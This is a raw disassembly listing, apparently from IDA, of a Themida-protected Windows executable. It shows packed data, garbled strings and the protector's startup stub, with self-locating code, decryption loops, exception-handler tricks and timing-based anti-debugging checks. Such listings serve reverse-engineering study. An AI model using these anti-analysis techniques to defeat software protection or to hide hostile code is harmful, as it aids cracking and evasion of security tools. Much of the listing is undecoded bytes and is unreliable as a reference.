dd 12FF60h, 4 dup(0) dd 0FFA8FBD6h, 12FF60h, 17h dup(0) aWr db '`йWЮ',0 align 4 dd 5 dup(0) dd 1, 4 dup(0) dd offset byte_576983 dd 2 dup(0) dd 6D07FED2h, 0 dd 12FFF0h, 0 dd offset word_5A551A dd 7 dup(0) dword_53E708 dd 0A01568h, 3 dup(0) ; DATA XREF: Themida_:0053FF60o dd 9DD0h, 0 aJz db '"""""""":╕Z',0 aQ_0 db 'ч+÷',0 dd 7 dup(0) dd offset dword_5A18F4 dd 7FFE0304h, 2 dup(0) dd 1DFFFF6h, 0 dd offset dword_570000 dd 0Ch dup(0) dd 6Ch, 0FFA85F7Dh, 2 dup(0) dd 0A3AC01E7h, 2 dup(0) dd 1434h, 0 dd offset byte_57CB45 dd 2 dup(0) dd 6A75BBEFh, 7FFE0304h, 2 dup(0) dd 5858h, 8 dup(0) dd 7FFE0304h, 70A5C05Dh, 0F4BD2260h, 0 dd 4A95h, 23h dup(0) dd 600B8014h, 5 dup(0) aSSw db 'Х/Хw',0 align 4 dd 4 dup(0) dd 36141h, 982633E5h, 0 dd 6EC7h, 7 dup(0) dd 3617C2C8h, 540E5Bh, 598231h, 3 dup(0) dd 0ADB1CAh, 3 dup(0) dd 77E7A099h, 0E0BAF3E4h, 0 dd 0A3A5E7h, 3 dup(0) dd 2400000h, 2 dup(0) a4fuk db '4ДЦk',0 align 10h dd 0FFEFEDF5h, 5A7435h, 0 dd 90h, 2 dup(0) dd 0FFFFFFFFh, 0 dd 77F7EBB3h, 5964D6h, 24h dup(0) dd 0FFFF8CB4h, 7FFE0304h, 2 dup(0) dd 0C6CEh, 3 dup(0) dd 1, 0BAD0h, 3 dup(0) dd 2A45544h, 2 dup(0) dd 0FD9BB69Bh, 0Bh dup(0) dd 38000h, 3 dup(0) dd 4, 2 dup(0) dd 7FFE0304h, 77F50000h, 2 dup(0) dd 0FFABFA19h, 0 dd 0A19BACh, 0FFFF9139h, 3 dup(0) dd 0Fh, 7FFE0304h, 0A17316h, 8001FCFCh, 4 dup(0) dd 0F39h, 2486CB8h, 5 dup(0) dd offset byte_5AC133 dd offset aVgdejziiklmnop ; "┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗"... align 8 dd 0FFFF8CB8h, 2 dup(0) dd 5, 2 dup(0) dd 9FA00Fh, 2 dup(0) dd offset byte_597231 dd 4 dup(0) dd 6EC7h, 3 dup(0) dd 0B5E2h, 7 dup(0) dd offset aA_2 ; "`aб\b" dd 5F88h, 0 dd 3 dup(33333333h), 7FFE0304h, 4001D8h, 0A9106270h, 0 dd 6EC7h, 3C102014h, 0B325962Eh, 0 dd 41D0h, 0A8h, 0 dd 0FFFFFF84h, 4 dup(0) aMcw db '^╛Гw',0 align 10h dd 4 dup(0) dd 0FFA92137h, 0AC6DED36h, 577887h, 0Bh dup(0) dd 7FFE1B43h, 2 dup(0) dd 25A0000h, 0 dd 0FFA8967Dh, 0 dd 77E805D8h, 2 dup(0) dd offset sub_401000 dd offset word_5AC022 dd 4 dup(0) dd 10EBh, 59128Dh, 0 dd offset byte_5B4239 dd 2 dup(0) dd 5E8B700h, 9 dup(0) dd 5FCBh, 7 dup(0) dd 1, 12FFA4h, 0FFFC9BB9h, 0 dd 10EBh, 5 dup(0) dd 0FFFF8CB4h, 0 dd 12FFE0h, 0 dd offset byte_5A5275 dd 77F52E0Fh, 2 dup(0) dd 7FF2151Ch, 0A39995h, 7B7647CBh, 2 dup(0) dd offset byte_59346F dd 3 dup(0) dd offset byte_57A00F dd 3 dup(0) dd 1CF165F4h, 3 dup(0) dd offset byte_576983 dd 9 dup(0) aIgu db 'шКёU',0 align 4 dd 2 dup(0) dd 2580000h, 0 dd 9F69C8h, 4 dup(0) aG_ db '┐.',27h,'=',0 align 10h dd 6 dup(0) dd 11111111h, 0 dd 0FFFF5B62h, 2 dup(0) dd 77D40000h, 9 dup(0) dd 20EE9h, 8001FCFCh, 6 dup(0) dd 20EE9h, 5A8FE4h, 12967Dh, 3 dup(0) dd 9F3E3Bh, 2 dup(0) dd offset dword_583108 dd 2 dup(0) dd 6EC7h, 2 dup(0) dd 0FFFF8C67h, 0FFFFEF15h, 2 dup(0) dd offset byte_5AC133 dd 2 dup(0) dd 5E8E6EF9h, 3 dup(0) dd 0FFFF5B62h, 4 dup(0) dd 100h, 2 dup(0) dd 12FF54h, 0 dd offset byte_598231 dd 0 dd offset dword_5A3A9C dd 734Ch, 3 dup(0) dd 25B0000h, 6 dup(0) dd 68h, 0 dd 0AD0000h, 0 dd offset byte_570023 dd 74h, 4 dup(0) dd 9E0000h, 5 dup(0) aB_0 db '*]│',1Bh,0 align 8 aI_1 db 'К',8,0 align 4 dd 3 dup(0) dd 1, 24h dup(0) dd offset byte_5A3E8F dd 3 dup(0) dd 1F83C8F0h, 3 dup(0) dd 0F681FDh, 78h, 2 dup(0) dd 8Ch, 3 dup(0) dd 0FFA8967Dh, 0 aGaj db 'ё─╕м',0 align 4 dd 3D1492CFh, 28D066Fh, 8 dup(0) dd 81A4h, 3 dup(0) aBc db 'ю╥b≈',0 align 4 dd 9 dup(0) dd 5540811Dh, 5 dup(0) dd offset dword_5A0C04 dd 2 dup(0) dd 6EC7h, 0 dd 64B3h, 0A027A3h, 0FFFFDA29h, 8 dup(0) dd 3A1h, 9F5E2Eh, 0Dh dup(0) dd 0D2431AF8h, 3 dup(0) dd 21EA30FCh, 0FFF80C10h, 7 dup(0) dd offset dword_58545C align 10h dd 9F09F7h, 3 dup(0) aKs92 db 'k▒92',0 align 4 dd 3 dup(0) aSI db '≥╢I╣',0 align 4 dd 0FFFFFFFEh, 0 dd offset byte_576983 dd 0 dd offset word_593A12 dd 6 dup(0) aVlcwf8 db '┌▀Гwf8',0 align 10h dd 77E7A5FDh, 692A0000h, 2 dup(0) dd offset word_59C6F2 align 8 dd 77E82168h, 7FFE0304h, 6, 80000000h, 0 dd 7E7Fh, 4 dup(0) dd 9F3E3Bh, 2 dup(0) dd 7FFE0304h, 4 dup(0) aTyuj_y db 'tYU├д.Y',0 dd offset byte_570D89 dd 0FFF15A08h, 0 dd 84h, 2 dup(0) dd 12A4C28Ah, 2 dup(0) dd 35Bh, 8BCh, 0Dh dup(0) aHSw db 'h>Хw',0 align 10h dd 3 dup(0) dd 3C700497h, 863045FBh, 0 dd 0A1B134h, 576983h, 4 dup(0) dd 46EDh, 2 dup(0) dd offset byte_5B4239 dd 4 dup(0) a?bcw db '?║Гw',0 align 4 dd 0FFA8ABBAh, 0 dd 9E00F8h, 4 dup(0) dd offset byte_589FA9 dd 5 dup(0) aU_1 db '╢эU',1Bh,0 align 4 dd 4F10h, 0 dd 9FFA56h, 0 dd 7FFE8A48h, 0 dd 9FA00Fh, 3 dup(0) dd 734Ch, 3 dup(0) dd offset byte_5A90F3 dd 0 dd 5CE5h, 2 dup(0) dd 0FFA4CBB3h, 0A0h, 0EB60752Fh, 28h dup(0) dd 7FFE0304h, 0 dd offset byte_577825 dd 3 dup(0) dd 9F2292h, 3 dup(0) aUV db '⌠╫/V',0 align 10h dd 0FFA8B92Eh, 4 dup(0) dd 9Ch, 12FF64h, 4 dup(0) dd offset word_5785CE dd 0 dd 1000h, 4 dup(0) dd 9ED554h, 958A4411h, 3 dup(0) dd 0FFFDF10Ah, 2 dup(0) dd offset word_5785CE dd 3 dup(0) dd 3E679Eh, 5 dup(0) dd offset dword_5A7BB8 align 10h dd 14DF9052h, 2 dup(0) dd offset dword_53D930 dd 4 dup(0) dd offset dword_58635C dd 2 dup(0) aJW_0 db 'jитw',0 align 4 aDbcw_0 db 'D║Гw',0 align 4 dd offset dword_5A50E4 dd 0 dd 94h, 0FFED00A0h, 6D07FED2h, 7 dup(0) dd 0CEC9D000h, 0Ah dup(0) dd 7FE77FB9h, 3 dup(0) dd 3A0h, 7FFE0304h, 2 dup(0) dd 2B7EBCCh, 0 a8T db '8©гt',0 align 4 dd 0Bh dup(0) dd offset byte_576995 dd 3 dup(0) dd offset byte_579595 dd 14h dup(0) dd 88h, 5 dup(0) dd 1CF17FFCh, 0FA4BCD6Fh, 77DD5ECCh, 3 dup(0) dd 0FF9A7A30h, 0 a9A db '9;(a',0 align 4 dd 6 dup(0) dd 0DE6h, 3 dup(0) dd 2, 7 dup(0) dd 7FFE0304h, 5 dup(0) dd 6EA8h, 4 dup(0) dd offset byte_57A0E3 dd 5 dup(0) dd 0CEC9D000h, 6 dup(0) dd offset word_5964D6 dd 7 dup(0) dd 0FC25C891h, 3 dup(0) dd 98h, 7FFEE1BBh, 0 dd offset byte_5B31B5 dd 5 dup(0) dd offset word_57E136 dd 0 dd offset word_590B8A dd 7 dup(0) dd 0B5E2h, 53D490h, 2 dup(0) dd offset byte_5764B3 dd 4 dup(0) dd 0FFFFA15Ch, 0 dd 0FFFF967Dh, 3 dup(0) aCw db '╣\Гw',0 align 10h dd 0 dd offset dword_58CCE0 dd 0 aJLx db '├о╚x',0 align 4 dd 0Ah dup(0) dd 6EC7h, 2 dup(0) dd 0FE21C269h, 12FF54h, 72EE81D9h, 2 dup(0) aHSwDw db 'h!ХwЁdW',0 dd 5 dup(0) dd 0FEFF9509h, 578DC4h, 5 dup(0) aJAgty db 'шJ/²G▓Y',0 align 10h unicode 0, <╪>,0 dd 5 dup(0) aRjh db 'ЮJH*',0 align 10h dd 2 dup(0) dd 7FFE0304h, 0BF003Eh, 0 dd 0FFA83CF3h, 5A36C6h, 4 dup(0) dd 20EE9h, 3C600h, 6 dup(0) dd offset byte_5B31B5 dd 0 dd 6EC7h, 3 dup(0) dd 0FFFFC981h, 2 dup(0) a7icwhmmn db '7╗ГwH╛╛N',0 align 4 dd 9 dup(0) dd 0FFA8967Dh, 5 dup(0) dd offset dword_5AE9F0 align 10h dd 0DCh, 0 dd 29181B1Eh, 8 dup(0) dd 0FFA8967Dh, 2 dup(77E60000h), 0 dd 77DD0000h, 8 dup(0) aX8Uuq db 'X8т)⌠⌠÷',0 dd 0CEC9D000h, 9F69DDh, 0 dd 7990F482h, 5 dup(0) dd 7FFE0304h, 77E78B82h, 7FFE0304h, 579595h, 2 dup(0) dd 0FFED7AECh, 9FA037h, 8 dup(0) dd 0FFA55F76h, 3 dup(0) dd 5F88h, 5 dup(0) dd offset dword_536858+124h align 10h dd 4, 805983B7h, 2 dup(0) dd 7800h, 0 dd 0FFFFFFB0h, 3 dup(0) dd 77E80618h, 3 dup(0) dd 140ABE3Ch, 9F69DDh, 3 dup(0) dd offset byte_5764B3 dd 9 dup(0) dd 9EB168h, 0C5554222h, 2 dup(0) dd offset byte_570D61 dd offset dword_596A6C dd 2 dup(0) dd 0E80h, 0 dd offset byte_5764B3 dd 2 dup(0) dd 1, 2 dup(0) dd offset byte_58A4BB dd 2590000h, 5B8048h, 567E7Dh, 0Ah dup(0) dd 0FFA8967Dh, 1017E911h, 0Ch dup(0) aGaj_0 db 'ё─╕м',0 align 4 unicode 0, <|>,0 dd 2 dup(0) dd 0FFFEC6E6h, 5 dup(0) dd 0FEF1FC17h, 1AB44FD9h, 0 dd 19A6h, 8 dup(0) aC_2 db '[c',9,'к',0 align 10h dd 2, 7FFFFFFFh, 0 dd 7FFE0304h, 3, 2 dup(0) dd 0F4095D00h, 7FFE0304h, 0BA916B46h, 77E70D79h, 0 dd 9F8C0Ah, 7 dup(0) dd 174A764Eh, 0 dd 77451D43h, 0 dd 77DD189Ah, 7012B368h, 3 dup(0) dd offset off_559B7C dd 0A280105h, 2 dup(0) dd offset dword_599BF0 dd 4 dup(0) dd 1, 0 dd 20000h, 0Fh dup(0) dd 20EE9h, 0 dd 12FF54h, 0 dd 32h, 0B60000h, 0 aRestartapp_exe db 'RestartApp.exe',0 align 4 dd 3 dup(0) dd offset byte_579529 aThemida db 'Themida',0 dd 1Ch dup(0) dd 0FFED00ACh, 5927h, 312D3430h, 5 dup(0) dd 168B909Ah, 4 dup(0) dd 400000h, 5 dup(0) dd 9E0FE6h, 0 dd 0D0h, 0 dd 1CD8F95Dh, 6 dup(0) dd offset dword_5930EC dd 2 dup(0) aQucwEq db 'О⌠Гwн┘÷',0 dd 0 dd 2590000h, 0 dd offset byte_570DB1 dd offset dword_5A5000 align 8 dd 3C102014h, 9 dup(0) dd 0FFFFFFFFh, 3 dup(0) dd 9FA00Fh, 0Bh dup(0) dd offset dword_54006C dd 2Bh dup(0) dd 0FE21C269h, 2 dup(0) dd 7FFE0304h, 1C1F0h, 0FFFDF117h, 2 dup(0) dd offset dword_53E708+4 align 10h aSlaa db 'Аl²─',0 align 4 dd 5 dup(0) aSw db '`!Хw',0 align 4 dd offset dword_594524 dd 0 dd offset aLS ; "`▀\\$$Х" dd 6D07FED2h, 0FFFDF10Ah, 1Dh dup(0) dd 7F5E33D2h, 6 dup(0) dd 0FF54h, 9F3145h, 0 dd 0AFA1FEh, 3 dup(0) dd 7FFE0304h, 5 dup(0) dword_54006C dd 3BCh ; DATA XREF: Themida_:0053FE90o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_540070: ; CODE XREF: start:loc_53CD6Fj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 648330Bh mov [ebp+6480F4Dh], edx mov [ebp+6480C95h], esi mov [ebp+6481971h], eax cmp dword ptr [ebp+6482989h], 0 jz short loc_5400A8 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_5400A8: ; CODE XREF: start+60086j mov eax, [esp+40h+var_1C] mov [ebp+6481F85h], eax push 45h call sub_54015C push 783749Ah call sub_5401A2 push 0A894B25h call sub_5401A2 jmp loc_5402E6 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh db 7Fh, 80h, 81h aVgdejziiklmnop db '┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗╘╙╚╛╜╝╞╟╠╡Ё╢╣╤╥╦╧╨╩╪╫╬©юаб' ; DATA XREF: Themida_:0053EB00o db 'ц',0 align 4 dd 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54015C proc near ; CODE XREF: start+600A0p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 64833F9h mov ebx, edx mov [ebp+var_28], 0 loc_540178: ; CODE XREF: sub_54015C+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_540197 mov eax, [ebp+arg_0] mov [ebx+6483363h], eax inc [ebp+arg_0] inc ebx jmp short loc_540178 ; --------------------------------------------------------------------------- loc_540197: ; CODE XREF: sub_54015C+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54015C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5401A2 proc near ; CODE XREF: start+600AAp start+600B4p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6483442h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_5401C8: ; CODE XREF: sub_5401A2+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_5401C8 mov [ebp+var_84], 0 lea edi, [edx+6483363h] lea esi, [ebp+var_80] loc_5401F8: ; CODE XREF: sub_5401A2+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_540204: ; CODE XREF: sub_5401A2+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_540204 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_5401F8 popa leave retn 4 sub_5401A2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_540242 ; --------------------------------------------------------------------------- loc_54023E: ; CODE XREF: Themida_:00540245j inc dword ptr [ebp-4] inc esi loc_540242: ; CODE XREF: Themida_:0054023Cj cmp byte ptr [esi], 0 jnz short loc_54023E mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_5402D3 ; --------------------------------------------------------------------------- loc_540254: ; CODE XREF: Themida_:005402D6j mov dword ptr [ebp-8], 0 jmp short loc_5402CA ; --------------------------------------------------------------------------- loc_54025D: ; CODE XREF: Themida_:005402CEj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_5402B7 ; --------------------------------------------------------------------------- loc_54026D: ; CODE XREF: Themida_:005402BBj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54028F cmp bl, 39h ja short loc_54028F sub bl, 30h jmp short loc_5402B1 ; --------------------------------------------------------------------------- loc_54028F: ; CODE XREF: Themida_:00540283j ; Themida_:00540288j cmp bl, 61h jb short loc_5402A1 cmp bl, 66h ja short loc_5402A1 sub bl, 61h add bl, 0Ah jmp short loc_5402B1 ; --------------------------------------------------------------------------- loc_5402A1: ; CODE XREF: Themida_:00540292j ; Themida_:00540297j cmp bl, 41h jb short loc_5402B1 cmp bl, 46h ja short loc_5402B1 sub bl, 41h add bl, 0Ah loc_5402B1: ; CODE XREF: Themida_:0054028Dj ; Themida_:0054029Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_5402B7: ; CODE XREF: Themida_:0054026Bj cmp dword ptr [ebp-0Ch], 2 jb short loc_54026D cmp dword ptr [ebp-10h], 0 jbe short loc_5402C7 mov eax, [ebp-10h] stosb loc_5402C7: ; CODE XREF: Themida_:005402C1j inc dword ptr [ebp-8] loc_5402CA: ; CODE XREF: Themida_:0054025Bj cmp dword ptr [ebp-8], 2 jb short loc_54025D add edx, 4 loc_5402D3: ; CODE XREF: Themida_:00540252j cmp edx, [ebp-4] jb loc_540254 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5402E6: ; CODE XREF: start+600B9j mov ecx, 7000h lea edi, [ebp+6483588h] loc_5402F1: ; CODE XREF: start+602E1j dec byte ptr [edi] inc edi dec ecx jnz short loc_5402F1 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+64836B3h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push ebx call sub_54032D and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54032D proc near ; CODE XREF: start+60311p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_54032D endp ; --------------------------------------------------------------------------- db 0Ch, 8Bh, 0FBh dd 6646E524h, 0F859CB81h, 6AC22Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 60AA1CC3h, 12E8h, 79514000h dd 97E0B5F8h, 6220F408h, 905B895Ch, 58B98F1Ch, 6830Fh dd 0E9810000h, 27774142h, 0F0002561h, 8B66FFFFh, 33CA8BD9h dd 388166FFh, 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h dd 47000010h, 8F64E3EBh, 5, 4C48300h, 36C6958Dh, 64520648h dd 35FFh, 89640000h, 25h, 2DC10300h, 1000h, 8104708Bh dd 0FF0000E6h, 0FE81FFh, 76800000h, 1C708B03h, 0F883C033h dd 661F7432h, 5A4D3E81h, 0EE810974h, 10000h, 8BEBEB40h dd 0FE033C7Eh, 45503F81h, 44740000h, 8F64E8EBh, 5, 4C48300h dd 8B51C361h, 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h dd 0E8551024h, 0 dd 0D1ED815Dh, 8D064836h, 48368F85h, 0B8818906h, 5D000000h dd 0C3C03359h, 58F6496h, 0 dd 6A04C483h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FC69C353h, 8C660CB3h, 80DF8BD9h dd 0DF8004E1h, 0FC90AB3h, 6485h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 4DA4D2A5h dd 0B929317Ch, 6E978h, 23100000h, 512F247h, 194985C7h dd 10648h, 6E90000h, 2D000000h, 968E6DFAh, 13E926h, 80020000h dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 0DE9ECh dd 0DF800000h, 4985C720h, 64819h, 89000000h, 482C2185h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 1EADBB61h, 0D3014B8Ah, 0B7D98B8Ah, 95858908h dd 0E8064821h, 0Ch, 9260734Ah, 52DE4ECAh, 16AB2681h, 6850Fh dd 66570000h, 580865BEh, 66C3815Bh, 0B9000066h, 20609154h dd 8824C181h, 33FFDF9Fh, 10E95Ah, 0AE760000h, 648C7435h dd 577173Ch, 35E90BA1h, 0F281C655h, 628B5F5Ah, 0CE816653h dd 815FE844h, 8F7C7BF2h, 0C6BF0F2Ch, 0CD07F281h, 0E58A758Ch dd 0C0816652h, 38F32FBh, 8E8h, 8BD3B000h, 0E22CB7D0h, 0B70F573Fh dd 83585FF3h, 0E98304EBh, 0A3850F01h, 80FFFFFFh, 0D8E9F4C4h dd 0F000006h, 684h, 0E9958900h, 17064826h, 69000002h, 64818h dd 58D0900h db 1Ch, 48h, 6 byte_5405E7 db 60h ; DATA XREF: Themida_:0053CE80o dd 1D918589h, 0B5890648h, 64808B1h, 0B8h, 1840F00h, 0F8000000h dd 2824548Bh, 0CD8589FCh, 9064824h, 4830B985h, 3CBE06h dd 5E90000h, 0E8000000h, 7CDE908Dh, 24247403h, 0A1BD8B60h dd 0F064827h, 28Bh, 61E38A00h, 0BD89AD66h, 6482A51h, 24244403h dd 8B666060h, 616160CEh, 505061F8h, 0F525052h, 87h, 0E9310F00h dd 12h, 4C92BAD8h, 0B5DA51A3h, 3D0FF7CAh, 3D02FD7Eh, 585A6433h dd 0AE9310Fh, 46000000h, 0E2E73112h, 9AECFDB8h, 89585A6Bh dd 840F2404h, 0Ch, 7E9h, 0AC99F100h, 75BCC98Fh, 0E978408Bh dd 8, 927DC0C7h, 0CB095E05h, 28244403h, 18408BFCh, 0EE9h dd 0A4B75800h, 83402F90h, 3AA5E898h, 40C090EFh, 6E960h dd 0E1C0000h, 312B801h, 61D38B66h, 38688589h, 7E90648h dd 0BC000000h, 0A78BD844h, 2958AF87h, 48069DBDh, 78708B06h dd 1CC683FCh, 0C810Fh, 820F0000h, 6, 0DEDBD09h, 74030648h dd 8D012424h, 6482E71h, 1999BD8Dh, 85010648h, 6482C51h dd 0A18D01ADh, 306480Bh, 0E9242444h, 6, 90DDDB05h, 6660C44Eh dd 0E9E7FEB8h, 6, 36E594E8h, 0AB61C3E8h, 31F1BD89h, 0BD8D0648h dd 6480531h, 0EE960h, 50790000h, 0DA49202h, 11C08B63h dd 5B422A50h, 5D4E681h, 896160E9h, 48321DB5h, 0FF8AD06h dd 180h, 4403F900h, 7E92424h, 0B6000000h, 0B4F2E98Eh, 5050120Bh dd 0E9525052h, 0Fh, 34C72722h, 6B49077Fh, 4A1B426Ah, 0F05CBAFh dd 800F31h, 5A000000h, 0E9310F58h, 13h, 156C83Fh, 78D1AF30h dd 66A88B6Bh, 23A428BBh, 5AA0AE7Bh, 24048958h, 8DF5ABF9h dd 480E01BDh, 18E0F06h, 0F8000000h, 0CDB589ADh, 0E906482Ah dd 0Ah, 0C19834Fh, 0C34CB249h, 44036F9Dh, 0B5012824h, 6482B29h dd 0DE9ABh, 5E80000h, 0F38263Ch, 0BF4565D4h, 5E93EE47h dd 1A399D29h, 8DFF0648h, 6483868h, 3868BD83h, 75000648h dd 2444C710h, 1Ch, 0B58D00h, 0FF06483Dh, 3AD56E6h, 97282444h dd 858ADF8Bh, 648276Dh, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 24CD85FFh dd 6FE90648h, 5EFFFFFFh, 2A2D8D89h, 8D890648h, 6481DE1h dd 1485BD89h, 858B0648h, 64824CDh, 0D719501h, 0E0D10648h dd 6800Fh, 95890000h, 6480A15h, 0E018503h, 820F0648h, 6 dd 15718589h, 0F62B0648h, 0EE9h, 0ADB5CF00h, 9FF160E8h dd 0ED20A56Eh, 9626BD7Dh, 0D09B531h, 0AD660648h, 7919BF60h dd 61F5263Dh, 2902E0C1h, 480FB9B5h, 99850306h, 60064819h dd 118A0Fh, 0CE90000h, 57000000h, 4FF319E0h, 8D036271h dd 608C1809h, 1DF5BD8Bh, 958B0648h, 6482B49h, 89966161h dd 480DB5BDh, 9E9AD06h, 8A000000h, 3CAF2519h, 0CC67C2B0h dd 24244C8Bh, 2C258D89h, 9D010648h, 64815A9h, 24244403h dd 0E19D29FCh, 8906481Bh, 0F81C2444h, 0E5B50996h, 0AC06480Eh dd 13C98D31h, 0C9320648h, 13E9h, 193AB700h, 822CD7B5h dd 1707BDA4h, 9DC88C98h, 27BF6516h, 10E9C1FEh, 32000000h dd 0E710B528h, 6941065Bh, 8D24101h, 0D0BE3229h, 0B0830FD0h dd 0E9000000h, 6, 41FBD675h, 0D0D0B404h, 9D830Fh, 9D290000h dd 64810F1h, 820FD0D0h, 8Fh, 0CE9h, 5C4B00h, 18F744Eh dd 8889AB2Fh, 0FD0D059h, 7682h, 0C830F00h, 0F000000h, 68Ch dd 69858900h, 0FE06482Eh, 0A4890FC9h, 1FFFFFFh, 481B6D95h dd 20C48306h, 2444C7F5h, 0FCh, 14E900h, 40190000h, 0B06591CDh dd 0C02E28B5h, 0B5ED281Ah, 5B676743h, 1B87786h, 0E9000000h dd 0Eh, 0AA6988h, 0F79F508Ch, 4CCCE34Ah, 8D8D9755h, 6486F77h dd 306DBD01h, 0E1FF0648h, 2DBD8960h, 8006482Ah, 0C66103EEh dd 48276D85h, 0BD890006h, 64823D1h, 8D99D89h, 0F9610648h dd 0F50008C2h dword_540A88 dd 8890F96h, 0F000000h, 280h, 50616000h, 0CE95250h, 68000000h ; DATA XREF: Themida_:0053D6A0o dd 7AB7D7Bh, 6367BFA5h, 0F0D9125h, 0AE86031h, 4D000000h dd 0A0D01E93h, 705426B0h, 0BF665B23h, 5A61A1F1h, 8E99658h dd 0E000000h, 47FCDA4Eh, 89728BC5h, 483EE9B5h, 8D89F906h dd 6483F16h, 2D09BD01h, 0B58D0648h, 6483DCAh, 35858DF8h dd 60005B7Eh, 193D9D89h, 81660648h, 618492F0h, 0BDA8A60h dd 4829659Dh, 0D0FF6106h, 0DABF0F60h, 61DE8B66h, 68E0F5Eh dd 9000000h, 4814018Dh, 0BD89C306h, 6480075h, 0CE9h, 33D79200h dd 0DB3AE906h, 0D31268D8h, 0E9B58BEDh, 2906483Eh, 482E59B5h dd 168D8B06h, 0E906483Fh, 8, 0BFB93694h, 84572B2Bh, 0B8h dd 65858900h, 8B064824h, 0B70F60D9h, 69B589FBh, 61064832h dd 0CCE9F5h, 95090000h, 6480DC5h, 14D99D09h, 26320648h dd 23698D89h, 2B20648h, 13E9h, 5740C00h, 3E94CBC0h, 0E968151Eh dd 55D29C04h, 18A68EBDh, 74E9h, 0DE900h, 3950000h, 0B445D8AEh dd 0D4024A34h, 329ADF8Eh, 518D89C2h, 506482Ch, 8A751D7Ah dd 12E9h, 0B13A9F00h, 0E4717948h, 87C32E7Dh, 868A5BBBh dd 8AA202C0h, 9D8960CCh, 6481881h, 0A98D8B56h, 58064808h dd 31C8D361h, 4814C18Dh, 8423506h, 12E998D1h, 39000000h dd 0D496FC7Bh, 772EE9B2h, 3D23E642h, 0F3D89CAAh, 89CAFEDCh dd 482465B5h, 0FD20A06h, 0FFFF9685h, 0AE9FFh, 380E0000h dd 0A91EAAA7h, 976F6E89h, 0CD95294Bh, 46064828h, 21618D89h dd 0DB0B0648h, 0FF38850Fh, 0B529FFFFh, 6482261h, 0FD9D89CFh dd 0F5064827h, 0DE90000h, 5F000000h, 0C9BD1E56h, 9BD78A12h dd 4C7475FFh, 6830Fh, 95290000h, 648284Dh, 0F600000h, 8D89F7BFh dd 6482755h, 60000061h, 0B7FEB70Fh, 61ACh, 0EE9h, 0AC5E400h dd 321DCF31h, 554FF78Ah, 8DE88208h, 48387885h, 10E906h dd 54190000h, 0EE3AC4Dh, 6A1327BEh, 0A728CBAh, 8589ACF8h dd 6480111h, 0BE9h, 7A701500h, 2DD7BCE3h, 0C3FD99D0h, 3D19858Dh dd 8A0F0648h, 1Bh, 15850Fh, 10E90000h, 7B000000h, 0D7CB71D6h dd 743C5372h, 0F6FC5B75h, 89C45CEFh, 48093185h, 0AE806h dd 0AC90000h, 5AB7DE6Dh, 1300772Ch, 